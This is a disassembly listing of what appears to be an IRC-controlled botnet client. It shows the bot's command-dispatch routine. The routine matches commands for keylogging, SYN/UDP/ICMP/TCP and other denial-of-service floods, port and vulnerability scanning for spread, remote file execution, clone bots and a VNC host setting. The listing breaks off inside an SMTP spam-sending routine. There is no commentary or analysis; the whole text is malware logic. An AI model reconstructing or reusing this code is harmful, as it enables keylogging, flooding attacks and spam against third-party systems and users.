		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E40], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E3C], eax
		jnz	short loc_405D23
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43DB98
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D23
		mov	esi, [ebp+var_88]

loc_405D23:				; CODE XREF: sub_401ACD+4238j
					; sub_401ACD+424Ej
		push	esi
		lea	eax, [ebp+var_EC4]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B56C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	21h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_E44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC8]
		push	ebx
		push	eax
		push	offset sub_4131EC
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_E44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_405DA6

loc_405D90:				; CODE XREF: sub_401ACD+42D7j
		cmp	[ebp+var_E38], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_405D90
; ---------------------------------------------------------------------------

loc_405DA6:				; CODE XREF: sub_401ACD+42C1j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42B530
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_405DB7:				; CODE XREF: sub_401ACD+41F8j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	21h
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DE5
		push	eax
		push	offset unk_42B4F4
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_405DE5:				; CODE XREF: sub_401ACD+430Bj
		push	offset unk_42B4C8
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_405DEF:				; CODE XREF: sub_401ACD+41E3j
		push	[ebp+arg_8]
		push	offset aIdent	; "ident"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EC2
		push	edi
		push	offset aOn	; "on"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E8A
		push	2
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_405E2D
		push	offset dword_42B4A0
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_405E2D:				; CODE XREF: sub_401ACD+4354j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B474
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E934[esi], eax
		jnz	loc_4081AD
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset dword_42B440
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_405E8A:				; CODE XREF: sub_401ACD+4348j
		push	edi
		push	offset aOff	; "off"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4081AD
		push	ebx
		push	2
		call	sub_40B5B5
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405EB8
		push	eax
		push	offset dword_42B408
		jmp	loc_408E86
; ---------------------------------------------------------------------------

loc_405EB8:				; CODE XREF: sub_401ACD+43DEj
		push	offset dword_42B3E8
		jmp	loc_406E22
; ---------------------------------------------------------------------------

loc_405EC2:				; CODE XREF: sub_401ACD+4333j
		push	[ebp+arg_8]
		push	offset aKeyloger ; "keyloger"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aKeylog	; "keylog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D24
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CFB
		push	[ebp+arg_8]
		push	offset aNet	; "net"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40616D
		cmp	dword_4CBAB4, ebx
		jz	short loc_405F4F
		cmp	dword_4CBADC, ebx
		jz	short loc_405F4F
		push	offset unk_42B390
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_405F4F:				; CODE XREF: sub_401ACD+446Ej
					; sub_401ACD+4476j
		cmp	[ebp+var_C], ebx
		jz	loc_406BFE
		mov	eax, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_405F77
		push	eax
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_405F77:				; CODE XREF: sub_401ACD+449Aj
		push	edi
		push	offset aStart	; "start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FC3
		cmp	[ebp+arg_18], ebx
		jz	short loc_405F97
		push	[ebp+arg_0]
		push	3
		jmp	loc_406021
; ---------------------------------------------------------------------------

loc_405F97:				; CODE XREF: sub_401ACD+44BEj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_418EA8
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405FB9
		push	offset unk_42B364
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_405FB9:				; CODE XREF: sub_401ACD+44E0j
		push	offset unk_42B344
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_405FC3:				; CODE XREF: sub_401ACD+44B9j
		push	edi
		push	offset aStop	; "stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FDB
		push	[ebp+arg_0]
		push	4
		jmp	short loc_406021
; ---------------------------------------------------------------------------

loc_405FDB:				; CODE XREF: sub_401ACD+4505j
		push	edi
		push	offset aPause	; "pause"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF3
		push	[ebp+arg_0]
		push	5
		jmp	short loc_406021
; ---------------------------------------------------------------------------

loc_405FF3:				; CODE XREF: sub_401ACD+451Dj
		push	edi
		push	offset aContinue ; "continue"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40600B
		push	[ebp+arg_0]
		push	6
		jmp	short loc_406021
; ---------------------------------------------------------------------------

loc_40600B:				; CODE XREF: sub_401ACD+4535j
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406033
		push	[ebp+arg_0]
		push	1

loc_406021:				; CODE XREF: sub_401ACD+44C5j
					; sub_401ACD+450Cj ...
		call	sub_418C0E
		pop	ecx
		pop	ecx

loc_406028:				; CODE XREF: sub_401ACD+459Fj
					; sub_401ACD+4628j ...
		push	eax
		push	offset aS_1	; "%s"
		jmp	loc_406BEF
; ---------------------------------------------------------------------------

loc_406033:				; CODE XREF: sub_401ACD+454Dj
		push	edi
		push	offset aShare	; "share"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40609B
		cmp	[ebp+arg_18], ebx
		jz	short loc_40606E
		cmp	[ebp+var_8FC], bl
		jz	short loc_406059
		push	ebx
		push	[ebp+arg_18]
		push	1
		jmp	short loc_406064
; ---------------------------------------------------------------------------

loc_406059:				; CODE XREF: sub_401ACD+4582j
		push	[ebp+esi+var_84]
		push	[ebp+arg_18]
		push	ebx

loc_406064:				; CODE XREF: sub_401ACD+458Aj
		call	sub_418FE5
		add	esp, 0Ch
		jmp	short loc_406028
; ---------------------------------------------------------------------------

loc_40606E:				; CODE XREF: sub_401ACD+457Aj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4191DB
		add	esp, 10h
		test	eax, eax
		jz	short loc_406091
		push	offset unk_42B304
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_406091:				; CODE XREF: sub_401ACD+45B8j
		push	offset unk_42B2E4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_40609B:				; CODE XREF: sub_401ACD+4575j
		push	edi
		push	offset aUser	; "user"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406127
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4060FA
		cmp	[ebp+var_8FC], bl
		jz	short loc_4060CD
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	ebx
		push	eax
		push	1
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------

loc_4060CD:				; CODE XREF: sub_401ACD+45ECj
		push	[ebp+var_4]
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4060E9
		push	esi
		push	eax
		push	ebx
		jmp	short loc_4060ED
; ---------------------------------------------------------------------------

loc_4060E9:				; CODE XREF: sub_401ACD+4615j
		push	ebx
		push	eax
		push	2

loc_4060ED:				; CODE XREF: sub_401ACD+45FEj
					; sub_401ACD+461Aj
		call	sub_4192FC
		add	esp, 18h
		jmp	loc_406028
; ---------------------------------------------------------------------------

loc_4060FA:				; CODE XREF: sub_401ACD+45E4j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41982C
		add	esp, 10h
		test	eax, eax
		jz	short loc_40611D
		push	offset unk_42B2C4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_40611D:				; CODE XREF: sub_401ACD+4644j
		push	offset unk_42B2A4
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_406127:				; CODE XREF: sub_401ACD+45DDj
		push	edi
		push	offset aSend	; "send"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406163
		cmp	[ebp+arg_18], ebx
		jz	short loc_406159
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419AE0
		add	esp, 10h
		jmp	loc_406028
; ---------------------------------------------------------------------------

loc_406159:				; CODE XREF: sub_401ACD+466Ej
		push	offset unk_42B278
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_406163:				; CODE XREF: sub_401ACD+4669j
		push	offset unk_42B25C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------

loc_40616D:				; CODE XREF: sub_401ACD+4462j
		push	[ebp+arg_8]
		push	offset aGethost	; "gethost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D
		push	[ebp+arg_8]
		push	offset aGh	; "gh"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C0D

loc_40619B:				; CODE XREF: sub_401ACD+3C8Fj
					; sub_401ACD+3CC5j ...
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF0
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BBE
		push	[ebp+arg_8]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset dword_42B944
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B6D
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A9E
		push	[ebp+arg_8]
		push	offset aMode	; "mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A64
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089F6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408971
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408900
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088DA
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40887A
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40877F
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AA
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085A5
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aHadeth3	; "HADETH3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408379
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082E6
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081D7
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408160
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408063
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F7B
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E82
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4066AE
		push	7Fh
		lea	eax, [ebp+var_3280]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3200]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3180]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3100]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3078],	eax
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	13h
		push	eax
		mov	[ebp+var_307C],	edi
		mov	[ebp+var_3284],	esi
		call	sub_40B3BA
		add	esp, 3Ch
		mov	[ebp+var_3080],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3284]
		push	ebx
		push	eax
		push	offset word_41525A
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_3080]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40669D

loc_406687:				; CODE XREF: sub_401ACD+4BCEj
		cmp	[ebp+var_3074],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_406687
; ---------------------------------------------------------------------------

loc_40669D:				; CODE XREF: sub_401ACD+4BB8j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset unk_42B0E4
		jmp	loc_403D37
; ---------------------------------------------------------------------------

loc_4066AE:				; CODE XREF: sub_401ACD+4B0Ej
		push	[ebp+arg_8]
		push	offset aSynflood ; "synflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSyn	; "syn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D9A
		push	[ebp+arg_8]
		push	offset aSkysyn	; "skysyn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067DB
		push	7Fh
		lea	eax, [ebp+var_36A8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3628]
		push	[ebp+arg_18]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_35A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		push	esi
		lea	eax, [ebp+var_3528]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A4],	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_34A0],	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_18]
		mov	[ebp+var_36AC],	esi
		push	edi
		push	offset dword_42B09C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	10h
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_34A8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36AC]
		push	ebx
		push	eax
		push	offset word_4141B2
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_34A8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_4067CA

loc_4067B4:				; CODE XREF: sub_401ACD+4CFBj
		cmp	[ebp+var_349C],	ebx
		jnz	loc_407196
		push	32h
		nop
		call	near ptr 2680F3Dh
		jmp	short loc_4067B4
; ---------------------------------------------------------------------------

loc_4067CA:				; CODE XREF: sub_401ACD+4CE5j
		nop
		call	near ptr 269096Bh
		push	eax
		push	offset dword_42B060
		jmp	loc_407187
; ---------------------------------------------------------------------------

loc_4067DB:				; CODE XREF: sub_401ACD+4C20j
		push	[ebp+arg_8]
		push	offset aPhatwonk ; "phatwonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aWonk	; "wonk"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407CB2
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aNazel3	; "NAZEL3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B74
		push	[ebp+arg_8]
		push	offset aRedirect ; "redirect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aRd	; "rd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A77
		push	[ebp+arg_8]
		push	offset aScan	; "scan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aSc	; "sc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407984
		push	[ebp+arg_8]
		push	offset aC_privmsg ; "c_privmsg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_pm	; "c_pm"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407887
		push	[ebp+arg_8]
		push	offset aC_action ; "c_action"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		push	[ebp+arg_8]
		push	offset aC_a	; "c_a"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407797
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aPortscan ; "portscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aPsc	; "psc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407691
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aAd	; "ad"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4071B6
		push	[ebp+arg_8]
		push	offset aUdpflood ; "udpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aUdp	; "udp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40706D
		push	[ebp+arg_8]
		push	offset aNetsend	; "netsend"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aNs	; "ns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F5F
		push	[ebp+arg_8]
		push	offset aPingflood ; "pingflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aPing_0	; "ping"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406E35
		push	[ebp+arg_8]
		push	offset aVnchost	; "vnchost"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406A5A
		push	edi
		call	sub_41B52C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset aVncHttpHostCha ; "VNC: HTTP Host Changed To: %s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		jmp	loc_4040AB
; ---------------------------------------------------------------------------

loc_406A5A:				; CODE XREF: sub_401ACD+4F56j
		push	[ebp+arg_8]
		push	offset aTcpflood ; "tcpflood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aTcp	; "tcp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406C8E
		push	[ebp+arg_8]
		push	offset aEmail	; "email"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406C36
		lea	eax, [ebp+var_46F0]
		push	edi
		push	eax
		call	sub_41C890
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_438C]
		push	eax
		call	sub_41C890
		push	[ebp+arg_10]
		lea	eax, [ebp+var_458C]
		push	eax
		call	sub_41C890
		push	offset asc_42CDD0 ; " "
		push	offset dword_42B940
		push	[ebp+esi+var_7C]
		call	sub_41843B
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		call	sub_41C890
		add	esp, 30h
		lea	eax, [ebp+var_528C]
		push	eax
		push	101h
		call	dword_4CB954
		lea	eax, [ebp+var_46F0]
		push	eax
		call	dword_4CBA68
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CBA64
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB9E4
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_408C]
		push	eax
		lea	eax, [ebp+var_458C]
		push	eax
		lea	eax, [ebp+var_438C]
		push	eax
		lea	eax, [ebp+var_568C]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9FC
		lea	eax, [ebp+var_448C]
		push	ebx
		push	eax
